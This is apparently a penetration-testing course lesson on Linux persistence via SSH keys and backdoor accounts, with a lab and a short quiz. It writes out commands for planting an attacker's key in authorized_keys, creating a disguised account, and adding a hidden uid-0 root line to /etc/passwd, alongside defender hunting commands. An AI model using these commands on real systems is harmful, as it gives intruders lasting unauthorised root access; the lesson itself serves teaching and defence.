learn/phase-3/p3-w13/lesson 02
Milestone 13 · lesson 2

SSH Keys & Account Backdoors

Hands-on. The most durable persistence: your own key in authorized_keys, and rogue accounts in /etc/passwd.
Lab: The Extra Key

Find the attacker's SSH key planted in authorized_keys.

What you'll learn

  • Plant an SSH public key in authorized_keys for password-free return access.
  • Create a backdoor account, and a hidden second uid-0 (root-equivalent) user.
  • Enumerate these same artefacts as a defender hunting for a compromise.
  • Explain why key- and account-based persistence survives reboots and password changes.

SSH Keys & Account Backdoors

The most reliable way back into a Linux box isn't a fancy implant, it's a credential the owner doesn't know you have. Two classics: an SSH key you plant, and an account you create. Both survive reboots, both survive password changes, and both look almost legitimate, which is exactly why defenders must know to look for them.

SSH key persistence

SSH lets you log in with a key pair instead of a password: the server keeps your public key in ~/.ssh/authorized_keys, and anyone holding the matching private key can log in. So the backdoor is simple, add your public key to a user's authorized_keys:

# on your machine: make a key pair (once)
ssh-keygen -t ed25519 -f ./backdoor

# on the target: append YOUR public key to the account you want to own
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo 'ssh-ed25519 AAAA...backdoor you@attacker' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Now you log back in any time with ssh -i ./backdoor user@target, no password. Plant it in /root/.ssh/authorized_keys and you have permanent root login. Because keys don't use the password, changing the password does nothing, the only fix is removing the key.

Account persistence

A backdoor user

If you're root you can just make an account:

useradd -m -s /bin/bash svc-monitor
passwd svc-monitor

A name like svc-monitor or backup blends into the service accounts nobody audits.

A hidden root (uid 0)

The real prize: a second account with uid 0. In /etc/passwd, the third field is the user ID, and uid 0 means root, regardless of the name:

# this line makes 'sync-svc' a full root account
sync-svc:x:0:0::/root:/bin/bash

Add it (with a password hash via openssl passwd) and you can su sync-svc to a root shell whenever you like, a login that isn't called "root" and so slips past a quick glance.

The defender's hunt

Every trick above leaves a trace. To hunt for account/key persistence:

# any account that is secretly root:
awk -F: '($3==0){print $1}' /etc/passwd     # anything but 'root' is bad
grep ':0:' /etc/passwd

# every authorized_keys on the system, compare against what should be there:
find / -name authorized_keys 2>/dev/null -exec ls -l {} \;
cat /root/.ssh/authorized_keys

# recently added users:
tail /etc/passwd ;  ls -la /home

The gold standard is a baseline: keep a known-good copy of /etc/passwd and every authorized_keys, and diff against it. Any new key or uid-0 account is a red flag.

The professional line

On an authorised test you might add one clearly-labelled key or account to prove persistence is possible, document it precisely, and remove it during clean-up. Never leave hidden root accounts behind.

Why this matters

Key and account backdoors are the quietest, most durable persistence there is, no malware, no process to spot, just a credential. They're a top technique for attackers and a top hunt for defenders, and they're the reason "rotate the password" is never enough after a compromise.

Check your understanding

4 questions

Type an answer and press Check. Grading is keyword-based and forgiving, so short answers are fine.

  1. 1

    Write the line you'd append to a target user's ~/.ssh/authorized_keys to log in as them with your own key later.

  2. 2

    In /etc/passwd, what value in the third field (UID) makes an account root-equivalent?

  3. 3

    As a defender, write the grep that finds every uid-0 (root-equivalent) account in /etc/passwd.

  4. 4

    Why does an SSH-key backdoor survive the victim changing their password?